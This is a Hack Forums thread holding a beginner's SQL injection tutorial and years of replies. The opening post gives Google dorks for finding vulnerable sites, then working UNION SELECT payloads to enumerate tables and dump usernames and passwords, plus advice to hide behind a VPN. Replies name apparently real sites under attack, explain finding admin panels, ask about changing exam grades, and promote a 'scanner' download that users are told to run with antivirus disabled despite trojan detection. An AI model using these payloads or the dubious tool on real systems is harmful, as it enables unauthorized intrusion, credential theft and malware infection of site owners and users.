

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] SQL Injection Tutorial For Beginners](#)

▣ Nick™ ▣ - January 15, 2011, 4:53 pm

This is a tutorial for people who would like to learn how to sql inject into a site.

FAQ

What is a SQL Injection?

A SQL Injection is a method used by people which allows them to get inside of a MySQL database through the website.

What can I do with an SQLi?

You can extract data such as passwords, usernames, locations, and also change the site in which you can put whatever you want on it.

Is it hard to do?

At first, it may take you some time to get used to the queries. But after some practice, it's very easy.

Will I get caught?

If you are not using a proxy or VPN (Virtual Private Network), then yes there is a chance that you may be caught. I suggest reading the [Proxies and Socks](#) forum on here to learn more about what these are.

What is a dork?

A dork is a phrase that you see at the end of most URLs. In SQL Injection, you search for dorks to find a website that looks as though it may be vulnerable for injecting

Injection Tutorial
Step 1.

Search [Google](#) by typing in a dork and clicking one of the website that show up.

Common Dorks

inurl:members.php?id=
inurl:page.php?id=
inurl:login.php?id=
inurl:index.php?id=
inurl:register.php?id=
inurl:staff.php?id=
inurl:detail.php?id=
inurl:view.php?id=

Step 2. Once you have found a site, it's time that we check if it is vulnerable to a SQL Injection.

So let's say we have a site like this

Quote:www.site.com/index.php?id=1

What we do is put a ' (single quote) after the number in order to get an error to show up on the page.

Quote:www.site.com/index.php?id=1'

You should get an error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near line 1" or something.

Step 3. After getting the error, we know it's vulnerable to SQL Injection. Now we have to find out how many columns it has. We use the "order by" function to do this.

Quote:www.site.com/index.php?id=1 order by 10

Now, I suggest you go by 10's. If you did order by a number and it shows an error, that means to use a lower number. We need to use a number and not get any errors, then use the number right after the number we used and get an error.

So let's say we did:

order by 10 (error)

order by 7 (no error)

order by 8 (no error)

order by 9 (error)

What this means is that there are 8 columns.

Step 4. Now that we have the number of columns, it's time to figure out which column is vulnerable so that we can extract data from it. We can do this by putting a "-" minus sign after the = equals sign in the url and by using the union select function. After union select, write every number that leads to the number of columns, separated by a comma.

So here's how it should look:

Quote:www.site.com/index.php?id=-1 union select 1,2,3,4,5,6,7,8

After you do this, you should get one or more of the numbers of columns in the database to show up on screen.

Step 5. Let's say a number 2 popped up on the screen. That means that column number 2 is vulnerable. Now we need to get the version of the database. We do this by using the @@version function.

Quote:www.site.com/index.php?id=-1 union select 1,@@version,3,4,5,6,7,8

Replace the number 2 in the url with @@version to get the version number to show up on your screen. Now the numbers that show up should either be 5.(some numbers) or 4.(some numbers).

For SQL Version 5 Injection:

Step 1. Now that we have the version number, it's time to get the name of the tables within the

database. We use the `group_concat(table_name)` function. Since it's version 5, the tables are already in 1 big table named `information_schema`. We use `--` to execute our command.

Quote:www.site.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables--

Step 2. On the screen, a bunch of names should pop up. Those are the names of the tables. Now, what you need to look for anything that might look like it contains the usernames and passwords from everyone who uses the website. Some common ones are users, admin, members, staff, user, etc.

Step 3. Once you have found something that might contain the usernames and passwords, it's time to get the name of the columns within that table. We use the `group_concat(column_name)` function to achieve this. And once again, in version 5, the columns are within `information_schema.columns` this time.

After the `information_schema.columns`, you need to tell the database which table you want to extract the columns. So after `.columns`, you put where `table_name=(Name of table in hex form)`

Now to convert the name of the table you're extracting from into Hex form, you need to use an online converter. What I use is [Text to Hex Converter](#). After you have the hex, put 0x before it and copy all of the numbers/letters and paste them after the = equals sign.

So after all that it should look like this:

Quote:www.site.com/index.php?id=-1 union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name=0x7573657273

The name of the columns should pop up on your screen.

Step 4. Now that you have the column names within the table name you chose, it's time to extract the data. Once again, we will use the `group_concat` function.

Let's say that the column names that showed up were username,password. To extract the information, we put `group_concat(username,0x3a,password)` from users-- (The table name that you chose in TEXT form not Hexed). (Note: 0x3a is the hex form of a colon, which separates the usernames and passwords so you don't get confused.) After you've done this, your url should look like this:

Quote:www.site.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password),3,4,5,6,7,8 from users--

Now the usernames of people should show up, then a colon, then the passwords of the usernames.

For SQL Version 4 Injection:

For version 4 database SQL injections, it's the same thing as version 5. The only difference is that when trying to find the table name, you have to guess what it is. It's not already done for you like in version 5. I suggest guessing like user or admin or members, and if that doesn't work, keep trying until you get something. After you've got the table name, just follow the same steps for 5 afterwards.

Thank you for reading my tutorial, if you have any questions you can post here or PM me and I'll do the best I can to help you.

Thank you very much,

Sincerely, ~Nick

legoman - January 15, 2011, 4:56 pm

Nice copy and paste mate and there are plenty of tuts around on HF.

▣ **Nick™** ▣ - January 15, 2011, 4:58 pm

I didnt copy and paste, and I just made one just for people to see if they can't find one. You shouldn't troll D:

▣ **Nick™** ▣ - January 15, 2011, 5:03 pm

Thank you very much :) Glad to see people appreciating my work.

legoman - January 15, 2011, 5:08 pm

That is a copy and paste my friend I have seen the exact same on some other website.

▣ **Nick™** ▣ - January 15, 2011, 5:12 pm

Well please go find that site and post it on here and let the viewers see and say it's a copy and paste. Cause I know that I didn't copy and paste it. Other than that, it would be appreciated if you would stop saying that.

▣ **Nick™** ▣ - January 15, 2011, 5:21 pm

Thanks! :D

Message too short? I doubt that seriously.

Exclusive - January 15, 2011, 5:46 pm

Most of the time i try this it doesn't work, i dont' know why though.

▣ **Nick™** ▣ - January 15, 2011, 5:55 pm

What you mean? Just let me know and i'll see if I can help you

tuney4lv - January 15, 2011, 7:59 pm

because you are not a hacker lol

Fly - January 15, 2011, 9:55 pm

(Jan 15, 2011 08:59 PM)tuney4lv Wrote: [\[CITE\]](#) because you are not a hacker lol
Lol I'm sure you don't have "teh pr0 h4x skillz" either buddy. Anyways nice Tut did help me.

▣ **Nick™** ▣ - January 16, 2011, 5:56 am

I am Glad I could help you :)

sigmanane016 - January 16, 2011, 12:43 pm

10x for your tutorial..I'm not much into it but intend to.. :))

TheLizardKing - January 16, 2011, 2:33 pm

When I find that there are 10 columes I did the union select thing but then this came up.

Code Can't execute query

```
SELECT * FROM produits WHERE ID_PROD = -1 union select 1,2,3,4,5,6,7,8,9,10
```

MySQL Error: The used SELECT statements have a different number of columns

This script cannot continue, terminating.
What should I do here?

Thanks for the thread

▣ Nick™ ▣ - January 16, 2011, 2:35 pm

Are you sure that there are 10 Columns? Please post a link to the site that would be helpful

TheLizardKing - January 16, 2011, 2:58 pm

(Jan 16, 2011 03:35 PM)NickThePro Wrote: [\[CITE\]](#) Are you sure that there are 10 Columns? Please post a link to the site that would be helpful link here:

Spoiler [\(Click to View\)](#)
<http://www.charot.com/produit.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10>

Do you need to find the exact number and range of columns or can you pick any few?

▣ Nick™ ▣ - January 16, 2011, 3:36 pm

On that site, when you do order by 10 to 11, there is no error. But 12-13, you get an error. which means if you go order by 12=no error and order by 13=error. That means that there are 12 columns in that site, not 10. And you need to find the exact number of columns

Quote:<http://www.charot.com/produit.php?id=-1> union select 1,2,3,4,5,6,7,8,9,10,11,12

▣ Nick™ ▣ - January 23, 2011, 8:28 pm

Glad to see I helped a lot of people with this tutorial

eXosphere™ - January 24, 2011, 4:44 am

(Jan 15, 2011 06:08 PM)?????? Wrote: [\[CITE\]](#) That is a copy and paste my friend I have seen the exact same on some other website.

You're an idiot. Don't judge people before citing your sources. I searched this on Google and only one thing came up, this thread.

@OP Nice tutorial.

▣ Nick™ ▣ - January 24, 2011, 4:03 pm

Thanks a lot, I worked hard to make it and idk why people say I copied and pasted it

Skz0r_ - January 24, 2011, 5:08 pm

I seem to be having an issue with finding a correct site. I'm on one now with a error. I have found out that there is 13 colums but I dont think the union select isn't working . This is what pops up select * from vl2_staff where staff_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 and staff_status=1 cannot preform query.

▣ Nick™ ▣ - January 24, 2011, 5:13 pm

Yeah I think it does mean that none of the columns are vulnerable, OR someone has hacked the site before and messed with anything. Correct me if I'm wrong

Skz0r_ - January 24, 2011, 5:18 pm

Nope your right. Means non of the columns are vulnerable ?

▣ **Nick™** ▣ - January 24, 2011, 5:20 pm

Sorry D:. Good luck on your next site when you find one!~

Skz0r_ - January 24, 2011, 5:26 pm

lol Thanks. (don't want to hijack the thread, last post for me) I have many under my belt. But never by this method. I find it's time I learn how to do this manual style of injecting. Thanks again!

Truelegend - January 28, 2011, 11:10 am

The best SQL Injection Tutorial. Now i can understand everything. Thanks m8.

--

Sorry for my english. Im Polish.

Windows 7 was my idea - January 28, 2011, 11:20 am

Thanks man ill have to check this out once i get a VPN

glock33 - January 28, 2011, 2:52 pm

Great tutorial. keep doing like that. :=)

MackCrack - February 2, 2011, 1:42 pm

Need some help with this,

Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(table_name),3,4,5,6,7 from information_schema.tables--' at lin

What do you think is the problem. Help would be greatly appreciated

BTW, nice tut. i like to lern it manually than using tools sometime.

Ghost-Hack - February 3, 2011, 12:56 am

and now where do i go to login at admincp ?

Dalina18 - February 3, 2011, 2:38 am

Great tutorial. keep doing the good job. =)

ninja137 - February 7, 2011, 6:27 am

great tut and includes both version

Peltraw - February 7, 2011, 7:08 am

Why do all the SQLi tutorials on HF (except rCom's) leave out the step where you gather the database information?

You should always do that before you extract the table names.

Code `http://www.site.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables--`

Just extracts the tables of the current database, which does not always contain useful information.

Code `http://www.site.com/index.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8`

from information_schema.schemata--

Do this instead.

And then you should probably stick to this query:

Code `http://www.site.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=databasegoeshere(needs to be hexed in most cases)--`

Besides that, nice and well structured tutorial.

iLike. :)

Eminent - February 8, 2011, 7:13 am

Nice tut. This worked fine for me, except I just happened to get a v4 SQL site, and your instructions weren't very clear so I couldn't do it.

▣ **Nick™** ▣ - February 8, 2011, 9:36 am

(Feb 8, 2011 08:13 AM)Eminent Wrote: [\[CITE\]](#) Nice tut. This worked fine for me, except I just happened to get a v4 SQL site, and your instructions weren't very clear so I couldn't do it.

Sorry, I thought people could just catch on. With version 4, you use the same syntax as in version 5, it's just that you have to guess the table name. Everything isn't under information_schema.tables like in version 5, it's somewhere else (user defined). That's why I just said follow the steps like in v5. Sorry about that.

PBxJak - February 13, 2011, 7:45 am

Great tutorial. It really helped a beginner like me. Much appreciated. :D

▣ **Nick™** ▣ - February 13, 2011, 7:47 am

(Feb 13, 2011 08:45 AM)PBxJak Wrote: [\[CITE\]](#) Great tutorial. It really helped a beginner like me. Much appreciated. :D

No problem, glad it helped!

▣ **Nick™** ▣ - February 15, 2011, 4:00 am

(Feb 3, 2011 01:56 AM)Ghost-Hack Wrote: [\[CITE\]](#) and now where do i go to login at admincp ?

You look for the admin panel. Look for logins, or in the url change it to like admin.php or adminpanel.php. Try and use an admin finder, I'm sure there's a reliable one here on HF

PBxJak - February 16, 2011, 1:26 pm

I just wanted to say thanks again for the tutorial. Again. Its helped me a lot.

-PBxJak

luke012345 - February 16, 2011, 3:44 pm

This tutorial is great!!! even better if it worked for runescape though lol :)

thanks.

ace410 - February 21, 2011, 5:42 pm

This is a nice tutorial thanks :D

Delilahfreebird - February 21, 2011, 8:20 pm

what alternative is there is the site you're trying to inject isn't vulnerable when you put the comma in?

PBxJak - March 1, 2011, 5:09 am

@Delilah. When you add the apostrophe and the page stays the same. Chances are that that page isn't vulnerable. You could try going up

Code index.php?id='1, index.php?id='2, index.php?id='3. and so on

GhostAKF - March 1, 2011, 5:54 pm

hi guys

i find a best tool to hack website you can use dork with it : download link

<http://www.filesift.com/forms/receive.html?fid=42a95a9993af8da6b36a0753c8ffbb976373>

how to use it:

Thanks you for downloading this best tool for SQLi injection

*Use note

1_ Before run M7 Advanced SQLi scanner disable first your anti-virus because it's detect as a trojan but it's note one.

2_ After installation find website like :

<http://www.exemple.com/php?id=1> by using dorks like

trainers.php?id=

article.php?ID=

play_old.php?id=

declaration_more.php?decl_id=

Pageid=

games.php?id=

newsDetail.php?id=

staff_id=

3_ let M7 Advanced SQLi scanner does the work for you

4_ Enjoy!!

Mudkip - March 2, 2011, 9:13 am

Holy crap,

People put freaking comments on the end of your queries, this includes in the tutorial.

Some comment starters

--

/*

#

spysshadow - April 28, 2011, 6:45 am

I entered this part of the website:

Code generic.php?id=-28 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name=0x66696c6573And I received this error message:

Quote:Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '=0x66696c6573' at line 3

The Hex code I used is for "FILES", would appreciate assistance.

▣ **Nick™** ▣ - June 20, 2011, 7:40 pm

(Mar 2, 2011 10:13 AM)Mudkip. Wrote: [\[CITE\]](#) Holy crap,

People put freaking comments on the end of your queries, this includes in the tutorial.

Some comment starters

--

/*

#

Haha sorry about that.. I Just thought people would kind of understand what I am saying.

cromartiefan - June 20, 2011, 8:14 pm

I found a website where I got this error after putting an apostrophe after the number: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY orgs.country, orgs.org' at line 1

I tried putting order by, but I got an error with every number, even 1. Not sure what to do.

DemoModz - June 21, 2011, 12:46 am

Thanks This tutorial Actually got me all the way through sql

Mike Ross - June 22, 2011, 1:50 pm

thx for this, i was wonderin if u cud help me with something thru pm...

pm me pls

Spoiler ([Click to View](#))

Seriously I have some questions that need to be answered.

▪ **Nick™** ▪ - June 22, 2011, 2:16 pm

(Jun 22, 2011 01:50 PM)Matt™ Wrote: ([CITE](#)) thx for this, i was wonderin if u cud help me with something thru pm...

pm me pls

Spoiler ([Click to View](#))

Seriously I have some questions that need to be answered.

No problem. Glad I could help you guys. And I will send you a PM now :)

Ruzlier - June 26, 2011, 12:36 am

Can I get some help, I get this <https://gyazo.com/9509ffaaa6fc2d0db0afb852eaec68d7.png> - union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 or union select 1,2,3 gives a white page with text on it.

It has 3 columns, on the 4th it gets an error, but untill the 15th column the page is still there, like above. If I go to the 16th it says the same error but on a white page with text on it.

Miles Dyson - June 26, 2011, 8:12 am

If the URL looks like "http://site.com/bla.php?x=23&y=66" you might wanna try with only the first part: "http://site.com/bla.php?x=23"

murda0118 - June 26, 2011, 11:33 am

Easier tut than the last i read.

vietprince187 - October 13, 2011, 10:30 pm

i jux dont understand the first segment...for instant, if i want to hack a website where can i find that exactly website dork?

Joshman644 - October 14, 2011, 3:20 pm

What if the website doesn't have id= ? and it just has .php?

■ Nick™ ■ - October 31, 2011, 2:17 pm

(Oct 13, 2011 10:30 PM)vietprince187 Wrote: [\[CITE\]](#) i jux dont understand the first segment...for instant, if i want to hack a website where can i find that exactly website dork?

You can google online for a list of dorks. For example, if you want to hack a site that sells items or something of that nature, a good dork to look at would be:

Code inurl:item.php?id=

You can make up your own dorks and see if any sites have that url ending.

The Social Experiment - October 31, 2011, 3:09 pm

Problem with this:

In your quotes, you're not adding the double dash at the end of the URL. It should be like so:

<http://www.site.com/page?id=-1> union all select 1,2,3,4,5,6,7,8--

chrisko16 - July 10, 2012, 9:32 pm

nice tut! Very helpful for what I am trying to do.

KevinMitnickK1 - July 11, 2012, 1:28 pm

Could I get this one mate? Shoot me a PM plzzzz

Thank you

momma - July 11, 2012, 2:13 pm

<http://www.defencehacker.in/2011/10/sql-injection-tutorial-for-beginners.html>

SHADOW REALM - September 15, 2012, 4:11 am

if the page just refreshes itself does that mean you cant do it?

Illicit - September 15, 2012, 4:36 am

Nice TUT keep up the good work!

Spoiler [\(Click to View\)](#)Also like your avatar :3

Mrhako - September 15, 2012, 4:38 am

Sweet tutorial. Read a lot of other tuts on this subject - I enjoy the way you make this more simple and consumable for mortals like me :)

What does the minus after the equal sign do? Returns a null value (if thats the case, why?)?

ajkaro - September 15, 2012, 5:37 am

(Sep 15, 2012 04:38 AM)Mrhako Wrote: [\[CITE\]](#) Sweet tutorial. Read a lot of other tuts on this subject - I enjoy the way you make this more simple and consumable for mortals like me :)

What does the minus after the equal sign do? Returns a null value (if thats the case, why?)?

To see vulnerable column/columns. You are doing union of original select with yours

GameMaster25 - September 29, 2012, 7:41 am

how to make it works??

tech give me a guide!

panzerjager - September 29, 2012, 7:57 am

awesome, i'm a real beginner but this looks easy enough. thanks.

NoMoreMaxim - September 29, 2012, 3:32 pm

Thanks, will look into this more.
Other than that, good guide :)
//maxim

TowelDude - September 30, 2012, 10:15 am

when i do step 1 in "sql 5 injection" its doin me a blank screen :

[http://www.dracoders.com/games.php?id=-7%20union%20select%201,2,group_concat\(table_name\),4,5%20from%20information_schema.tables--](http://www.dracoders.com/games.php?id=-7%20union%20select%201,2,group_concat(table_name),4,5%20from%20information_schema.tables--)

know wat is the prob ?

panzerjager - October 1, 2012, 8:03 am

could i use this sql injection method to gain access to a british exam board's database and adjust my grades or create a grade for an exam i have never even sat with a board i have never used before? thanks.

lets14 - October 2, 2012, 4:03 am

We are sorry but we require 10 posts to send a PM.

dsMadKilla11 - October 2, 2012, 5:36 am

Your tutorial is really good .Stuff like these really make me enthusiastic...

But I have a problem when I tried out the union select function.

On this site:<http://www.uiprill.org/members.php?id=5>

.I now don't think this site is vulnerable for it gives the same warning everytime :

Warning: Invalid argument supplied for foreach() in C:\www\uiprail.org\html\members.php on line 26

I googled it too and found out when you don't feed an array to the foreach function you get this warning.(dont know PHP).

Care to clarify if its even vulnerable???

forceedge11 - October 2, 2012, 6:52 am

Nice tutorial.

Thanks. I must try this. :)

xulhJ - December 11, 2012, 7:41 pm

(Sep 30, 2012 10:15 AM)TowelDude Wrote: [\[CITE\]](#) when i do step 1 in "sql 5 injection" its doin me a blank screen :

[http://www.dracoders.com/games.php?id=-7%20union%20select%201,2,group_concat\(table_name\),4,5%20from%20information_schema.tables--](http://www.dracoders.com/games.php?id=-7%20union%20select%201,2,group_concat(table_name),4,5%20from%20information_schema.tables--)

know wat is the prob ?

Yeah. Just take the "--" part off the end, and you're set.

Anyways, great tutorial, easily the simplest to understand. Also, i have a question. There are some sites that pass the ' test, but when i do "order by", nothing happens no matter how high of a number i go to. [Example.](#)

Am i making a stupid mistake? Or will that website just not work? please tell.

DreamH4X - August 24, 2013, 7:31 am

Nice guide but not very detailed, you should talk about different things that could happen when you are doing an SQLi

133720 - August 25, 2013, 6:47 pm

Great Tut!

Thanks for sharing your sql knowledge.
it helpful for sql injector.

Tjockisen - August 26, 2013, 12:00 pm

Nice tutorial!

But i have one question isent it esier to use something like Havij for a noob tut.

Calla - December 17, 2013, 10:30 am

It's a good tutorial. You could have explained what to do if there are too many column names or other restrictions similar.

itzx vizuh - December 17, 2013, 11:34 am

I cant get the vulnerable column it says its 104 and there are 33 columns WTF HELP

Esef - December 17, 2013, 6:56 pm

Ok tutorial, you helped me for gennas.it :D

t.pro - December 18, 2013, 2:30 am

(Aug 26, 2013 12:00 PM)Tjockisen Wrote: [\[CITE\]](#) Nice tutorial!

But i have one question isent it esier to use something like Havij for a noob tut.
no do it the manually way! forget about Havij when it comes to injection (generally forget it). Do it yourself, that's the best!

canadaboy25 - July 16, 2014, 10:48 pm

I also prefer do do things manually.

Anyways, thanks for the great tutorial! ?

Teruz14 - July 17, 2014, 4:57 am

Good work, Perfect for noobs :) ^_^ :) !

ridhisidhi12 - July 17, 2014, 11:32 pm

Nice tutorial.It help me a lot thanks

Falafel1 - July 18, 2014, 5:07 am

Thanks for the tutorial, Im sure it would help lots of newbies that would be interested in starting with this type of hacking.

sirz3cHs - July 24, 2014, 12:36 pm

Thanks man!! Finally managed to inject(I read many tutorials but failed numerous times until I came across yours)

I obtained admin usernames and passwords but didnt find a login page on the website though

N1GG3RS - July 24, 2014, 3:04 pm

Thank you for this man! Very usefull.

But I do have a lot of trouble finding a site :S

OnlyOneNut - July 26, 2014, 3:07 pm

Not a bad tutorial

Thanks for sharing this!

unknown_error - July 29, 2014, 8:45 am

thanks for the tutorial, learned a lot :)

ShutainzuG - July 29, 2014, 1:16 pm

Great tutorial, very helpful for beginners such as me :)

Thanks.

SQLnewbie83 - July 31, 2014, 2:07 am

How to find good sites? Are there tips/tricks for this? Thanks for tutorial!

Sanctify - July 31, 2014, 11:49 am

Thanks for the tutorial, could you PM me some websites that are known to vulnerable, for practice purposes?

ZukraiN - August 2, 2014, 2:34 am

hmmmm :) Good Tutorial By the way ... :)

TheyCallMeFox - August 5, 2014, 6:02 am

This a nice tutorial , many thanks.

sky88 - August 5, 2014, 6:26 am

thanks this is helpful, but its really hard to find a site that is vulnerable to that trick anymore

Murd0ck - August 10, 2014, 3:07 pm

good post it was very easy to follow.

Astr0J3su5 - August 11, 2014, 1:14 am

Great tutorial! Learned a lot. Thanks for putting it together!

Slumski - August 11, 2014, 3:17 pm

The best SQL Injection Tutorial, this worked fine for me. Thanks man.

chucky247 - August 11, 2014, 10:25 pm

So I have had this issue on two websites now and im not sure what im doing wrong when i use this command -35 union select 1,2,3,4

this happens :_

Invalid Query : The used SELECT statements have a different number of columns

select * from en_page where page_id=-35 union select 1,2,3,4--

? i checked and double checked and it does have 4 forums cause when i go to five or six i get a white page not sure what to do from here when i try sorry im very new at this would love some help

nickonator1 - August 15, 2014, 11:18 pm

Epic tutorial nick, learned a ton! :)

Renegade18 - August 16, 2014, 1:18 am

(Aug 11, 2014 10:25 PM)chucky247 Wrote: [\[CITE\]](#) So I have had this issue on two websites now and im not sure what im doing wrong when i use this command -35 union select 1,2,3,4

this happens :_

Invalid Query : The used SELECT statements have a different number of columns
select * from en_page where page_id=-35 union select 1,2,3,4--

? i checked and double checked and it does have 4 forums cause when i go to five or six i get a white page not sure what to do from here when i try sorry im very new at this would love some help post web site here or send PM for testing

ComputerManiac00 - August 21, 2014, 2:11 am

Nice tutorial, vouch for you bro :D

Mazinga - October 24, 2014, 3:43 pm

thank you it is really great tutorial .

Tsubasa - November 15, 2014, 10:53 am

thanks a lot for the interesting info!

Craze* - December 19, 2014, 4:57 am

Amazing . thanks for the tutorial , god bless u

Nyan Kat - December 19, 2014, 10:53 am

Nice tutorial keep up the good work :) You should do like parts :P

S?e?f - December 21, 2014, 1:05 am

Pretty noob friendly tutorial. Even if there are lots of tutorials on HF about sql injection a lot of them are way over complicated for new people.

Nythil - December 25, 2014, 3:40 pm

Good Job M8 :)

not complicated and Short, that's how we like it :D

RAi Jee - December 25, 2014, 4:04 pm

this tutorial is help full for newbies keep it up

Marcisback - December 26, 2014, 4:59 pm

I always see tutorials for .php based websites is this possible on .html

JaNuS18 - December 26, 2014, 5:42 pm

(Dec 26, 2014 05:59 PM)Marcisback Wrote: [\[CITE\]](#) I always see tutorials for .php based websites is this possible on .html

It is same. Just put ' at different places to find SQLi vulnerability.

Like:

Code http://2012over.ru/mneniya-posetiteley-o-konce-svata-v-2012-godu.html'

or

http://www.bonus-flash.ru/download_123'.html

Intugro - December 26, 2014, 11:39 pm

thank you for this lol i would rep but nope not ub3r -_-

terrystone45 - December 27, 2014, 6:30 am

men hmm copy and paste man come up something unique

vagabund132 - December 29, 2014, 6:37 am

what to do if there are more attributes not only one like index.php?lang=en&id=56123

Aakash Choudhary - December 29, 2014, 6:45 am

(Dec 29, 2014 07:37 AM)vagabund132 Wrote: [\[CITE\]](#) what to do if there are more attributes not only one like index.php?lang=en&id=56123If there are many parameter you see than try every parameter for vul like --->

index.php?lan=en'&id=56123 or
index.php?lan=en&id=56123'

Thanks try every parameter

terrence09 - December 29, 2014, 7:30 am

great tutorial , ill try this later , thanks anyway ,,,,,

kaspu - September 14, 2015, 3:07 pm

Appreciate that there is someone who like to show his knowledge to others ! Thanks for this tutorial :)

white_hat - September 15, 2015, 8:22 pm

Cheers mate.

aHR0cHM6Ly9neWF6by5jb20vYTZiOWEwOTU0M2VjMmMyMDk3M2FiNjg5YTRmMDI1YjI=

inexpert - September 16, 2015, 3:15 am

Good work Nick, and F**K those who are saying its a copy paste.....who cares if its copy paste or not, if someone is providing knowledge for free we should appreciate him rather than ruining the whole thread by copy paste bullshit..... and thanks again for the article.

Landchester_Turtle - December 4, 2015, 5:52 am

Seems simple enough this thread thought me a lot hope this works

utarit - December 22, 2015, 6:36 am

nice tutorial thanks for sharing

adamhearst - December 25, 2015, 7:58 pm

Can you use null instead of a minus number?

pomwtin - December 25, 2015, 8:29 pm

(Dec 25, 2015 08:58 PM)adamhearst Wrote: [\[CITE\]](#) Can you use null instead of a minus number? I believe so, yes.

However if you do that script execute your commands only and not it's own commands.
(I may be wrong tho... i am not experienced with this... still learning :))

Relynek - December 30, 2015, 4:24 am

Thank you for this tutorial

I am trying to sql some sites...

jellymodding - December 31, 2015, 2:51 pm

great tut thanks alot i need help on one thing if you could pm me would be great

adige1431 - January 1, 2016, 12:21 am

Nice tut thak you so mcuh bro

NoobieWithAFancyCap - January 4, 2016, 5:31 am

Very nice work. I'll save this for a rainy day haha....now if only i could find a good free VPN....grr

PipeQT - January 7, 2016, 5:45 pm

Good info right here ! thanks.

?MIN?M - January 7, 2016, 7:33 pm

it sounds like your gonna do 5 different methods, but only say method 5 and 4.

IsmoMusic - February 20, 2016, 7:00 am

Nice tutorial bro!

I post here so I can check it later again :)

spatafore - February 22, 2016, 5:16 am

What the use of the "-" minus in SQLi statement like that :

-1' union select 1,2--

sosapac - February 22, 2016, 8:13 am

Hi Friends When I make sql injections With SQL dump data I n not read Say Sensitive Information in tables .

That such information on credit cards or Client Accounts From paypals site.Quand j Supports -on ILS dump data show s nothing to informed offices

Frosteh - February 22, 2016, 9:23 am

(Feb 22, 2016 06:16 AM)spatafore Wrote: [\[CITE\]](#) What the use of the "-" minus in SQLi statement like that :

-1' union select 1,2--

When you do UNION based SQL injection the data you really want to extract gets appended to whatever data is legitimately pulled out by the query. The purpose of the minus is to ensure the legitimate part of the query doesn't return any rows and so when you UNION the data you want to extract, the result set is only 1 row.

The reason for this is that typically (but not always) the page you're injecting is designed to only display a single record/row of the data set, in that situation it'll use whatever is in the first row and discard the rest of the results.

In some cases you don't need it, if they use some kind of repeater on the page which loops through all rows in the result set and generates content on the page for each row then you wont need it, your result will simply be the last one.

edited for clarity

spatafore - February 23, 2016, 1:38 am

Yes I've understood it afterwards

Thanks you by the way

Martin Paul - February 23, 2016, 9:55 am

Thanks mate, well learn something from that for sure.